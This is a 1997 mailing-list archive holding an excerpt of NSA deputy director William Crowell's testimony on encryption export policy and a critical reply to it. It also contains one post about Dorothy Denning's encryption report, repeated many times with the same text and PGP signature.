Subject: excerpt from William P. Crowell
Message-ID: 



Excerpt from prepared testimony of William P. Crowell deputy director,
National Security Agency before the House National Security Committee
Wednesday, July 29, 1997:

[Intro elided]

Goodlatte Bill and  National Security

Before I go into the details of what the nation needs in a balanced
encryption policy - a policy that gets strong encryption to be used widely
while at the same time protects the nation's public safety and national
security - it is important to understand that the Goodlatte bill would
directly threaten national security.

First, the Goodlatte bill would impact our foreign intelligence mission.
The analysis of foreign communications has, literally, helped shorten
global wars and averted regional ones. The export control process is very
important since it gives us valuable insights into what is being exported,
to whom, and for what purpose.

Second, the Goodlatte bill would undermine international efforts to catch
terrorists, spies, and drug traffickers. Quite simply, such efforts save
American lives and protect our free society. Secretary of Defense Cohen and
Attorney General Reno sent letters to you last week that very clearly state
their support for encryption policies that account for these national
security and public safety interests. Not only would the Goodlatte bill
jeopardize national security, it would do very little to achieve the goal
of getting strong encryption used widely. For these reasons, it is
important to understand some of the technical aspects of encryption so we
can develop balanced policy solutions that are technically sound.

[crypto 101 elided]

 The Administration's Approach To Encryption Policy

  Reform Is Very Different From Earlier Key Escrow Initiatives

Some have argued that the Administration's recent policy initiative is the
same as previous key escrow initiatives. Their argument is disingenuous and
incorrect. The KMI initiative is about creating an environment in which
commercial encryption can flourish. Just as significant, the
Administration's proposal differs significantly from previous key escrow
initiatives because:

  -- It eliminates the  focus on bit lengths;
  -- The government doesn't hold the keys;
  -- A separate key escrow infrastructure is not required;
  -- Keys can be held overseas;
  -- It doesn't prescribe algorithms or limit them to hardware; and,
  -- Users' data recovery needs can be met.

With these impediments addressed, industry and government can work to
develop encryption products that will win acceptance in foreign markets and
establish infrastructure services to support those products. Several major
companies recognize these profound changes and have formed business
ventures to thrive within the new climate. In October 1996 IBM formed the
Key Recovery Alliance and that alliance has already grown to over 50
domestic and international companies. Alliance members include Apple,
Mitsubishi, Boeing, DEC, Hewlett Packard, Motorola, Novell, SUN, America
Online, Unisys, and RSA.

Despite Being Available, Encryption is Not Being Widely Used

Most measurements of encryption are inadequate (incomplete or inconclusive)
since they do not show how many people are using encryption. Encryption can
be measured in a number of ways. Depending on how it is measured, one could
misconstrue the data to conclude that "the encryption genie is out of the
bottle" or that the bottle is tightly plugged.

The fact of the matter is that encryption is widely available (e.g.,
embedded in tens of millions of commercial software products) but, based on
our impressions from market surveys, etc., is not widely used. Those who
argue that government encryption policies are outdated because "the
encryption genie is out of the bottle" (i.e., there are many products
advertised to contain encryption and some of them are available from the
Internet) must consider two important perspectives.

First, encryption is not now being, and will not be, used to its fullest
potential (with confidence by 100s of millions of people) until there is an
infrastructure in place to support it. Encryption is not a genie that will
magically solve the security problem. Nor is the Administration trying to
'keep the plug in the bottle'. The Administration wants to help promote a
full range of trusted security services providing privacy, authentication,
and data integrity while simultaneously fulfilling public safety and
national security responsibilities for our government, and governments
worldwide.

Second, serious users of security products don't use free security products
from the Internet. The president of a prominent Internet security
corporation was recently asked in a magazine article on this issue: "Since
encryption technology is available as freeware off the Internet, why would
anyone pay a company for it?" He responded by saying: "Freeware is worth
exactly what you pay for it. I'd rather not implement security systems
using software for which the source code is available to any 12- yearold
who thinks being a hacker is fun." In other words, when determining what
encryption you use to protect valuable business secrets, you should
consider who you're getting it from, how it got to you, and whether you'll
receive support when you need it.

U.S.  Encryption Policies Are Addressing Concerns That The Rest
Of The World Is Also Facing

The U.S. is not the only nation which has concerns that encryption use by
criminals can threaten public safety. All countries that are major
producers of cryptography control its export. Some of those countries have
voiced their displeasure with the U.S. decision to export 56-bit
encryption. Though the U.S. does not have domestic restrictions, some
countries do through import controls of encryption and its domestic use.
Recently, France, Israel, and Russia imposed import and domestic use
restrictions, and severe Asian, South American, and African countries have
informally done so for many years.

At this point, it would be over-generalizing to say that the world has
agreed to an approach on key recovery, but it is accurate to say that all
governments want authorized access to encrypted information. The U.S. is
not the only nation that recognizes the dual-edged nature of the encryption
tool.

Wrap Up

The Administration is basing its policies on the foundation that the need
for robust commercial encryption will grow and it has proposed policy
reforms to ensure that American companies and the public, can flourish in
the future encryption market. The Administration 's approach is not past
its time, it is just in time. The fundamental issue in play is how industry
will build key management infrastructures to support mass market products
with encryption. If infrastructures are built that support key recovery,
then the export control debate can be concluded. Otherwise, governments
worldwide are likely to resist the use of those products because of public
safety concerns. Though the Administration's proposed policies will have a
significant impact on NSA, I believe they are a reasonable response to a
complex, interdependent set of issues. I hope that the Administration can
continue to work with Congress and industry to reach a resolution of these
issues. Thank you for the opportunity to address this important matter.

####


john noerenberg
jwn2 at qualcomm.com
pager: jwn2 at pager.qualcomm.com
  --------------------------------------------------------------------
   "We need not to be left alone.  We need to be really
    bothered once in a while."
  -- Ray Bradbury, Farhenheit 451, 1953
  --------------------------------------------------------------------







From attila at hun.attila.org  Thu Jul 31 16:47:47 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 07:47:47 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199707312340.RAA04631@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 16:52:53 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 07:52:53 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199707312345.RAA04905@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 16:55:35 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 07:55:35 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199707312350.RAA05092@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
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-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 17:04:10 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 08:04:10 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199707312355.RAA05294@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 17:07:05 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 08:07:05 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010000.SAA05487@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 17:16:01 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 08:16:01 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010011.SAA05984@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 17:18:06 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 08:18:06 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010006.SAA05741@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 17:21:32 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 08:21:32 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010016.SAA06192@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 17:30:07 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 08:30:07 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010022.SAA06398@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 17:35:19 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 08:35:19 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010027.SAA06580@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 17:43:47 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 08:43:47 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010033.SAA06763@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 17:47:26 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 08:47:26 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010038.SAA06955@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 17:51:05 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 08:51:05 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010044.SAA07149@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 17:54:17 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 08:54:17 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010049.SAA07347@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From ericm at lne.com  Thu Jul 31 17:57:54 1997
From: ericm at lne.com (Eric Murray)
Date: Fri, 1 Aug 1997 08:57:54 +0800
Subject: excerpt from William P. Crowell
In-Reply-To: 
Message-ID: <199708010050.RAA27103@slack.lne.com>



John W. Noerenberg writes:
> 
> Excerpt from prepared testimony of William P. Crowell deputy director,
> National Security Agency before the House National Security Committee
> Wednesday, July 29, 1997:
> 
> [Intro elided]
> 
> Goodlatte Bill and  National Security
> 
> Before I go into the details of what the nation needs in a balanced
> encryption policy - a policy that gets strong encryption to be used widely
> while at the same time protects the nation's public safety and national
> security - it is important to understand that the Goodlatte bill would
> directly threaten national security.

[yadda yadda]

> Despite Being Available, Encryption is Not Being Widely Used
> 
> Most measurements of encryption are inadequate (incomplete or inconclusive)
> since they do not show how many people are using encryption. Encryption can
> be measured in a number of ways. Depending on how it is measured, one could
> misconstrue the data to conclude that "the encryption genie is out of the
> bottle" or that the bottle is tightly plugged.

That's some nice FUD to throw out.

> The fact of the matter is that encryption is widely available (e.g.,
> embedded in tens of millions of commercial software products) but, based on
> our impressions from market surveys, etc., is not widely used. Those who
> argue that government encryption policies are outdated because "the
> encryption genie is out of the bottle" (i.e., there are many products
> advertised to contain encryption and some of them are available from the
> Internet) must consider two important perspectives.
> 
> First, encryption is not now being, and will not be, used to its fullest
> potential (with confidence by 100s of millions of people) until there is an
> infrastructure in place to support it.


Oh my, this is wonderful.

The reason that encryption isn't widely used is _directly_ because
of current government policy!!  They're using the results of their
own bad policy to justify more bad policy.

"In order to have widespread encryption, we must restrict it"

"Ignorance is strength"

"Freedom is slavery"




-- 
 Eric Murray   (ericm  at  lne.com   or   nabletech.com)     PGP keyid:E03F65E5






From attila at hun.attila.org  Thu Jul 31 18:02:28 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 09:02:28 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010054.SAA07529@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBM+Eh5L04kQrCC2kFAQF9wwP+INGEAnc+1akKc+dP7re8fleX4PJrmsYU
UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
ahBzZyL2cZ4=
=MlQZ
-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 18:08:34 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 09:08:34 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010059.SAA07718@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

           The authors--Dorothy Denning, a
           Georgetown University computer
           science professor, and William
           Baugh Jr., vice president of
           Science Application International
           Corporation--

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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UKzxgBZAsWcZC7L5WkaOygckHznOc+a37iHzDFtt3sr86DP0D/4j675qJdt/O4B+
jbxXumJ8EXmTN9bOvXK8x9JRGjR9aWzjeaJKN3X+fH4Bjbw76FR9xIFkhhNvZqnM
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-----END PGP SIGNATURE-----






From attila at hun.attila.org  Thu Jul 31 18:11:24 1997
From: attila at hun.attila.org (Attila T. Hun)
Date: Fri, 1 Aug 1997 09:11:24 +0800
Subject: Denning questions/reverses her position?
Message-ID: <199708010105.TAA07932@infowest.com>



-----BEGIN PGP SIGNED MESSAGE-----

    I'm too old for this!  I never thought I would see the day that
    Dorothy Denning would terminate her star role as a shill for the
    Clinton/LEA encryption ban!

    from: http://www.news.com/News/Item/0%2C4%2C13000%2C00.html?nd

           Two supporters of Clinton
           administration's stance on
           encryption released a report today
           finding that encryption has not
           inhibited law enforcement efforts,
           with at least one author
           questioning her belief in the
           administration's position. 

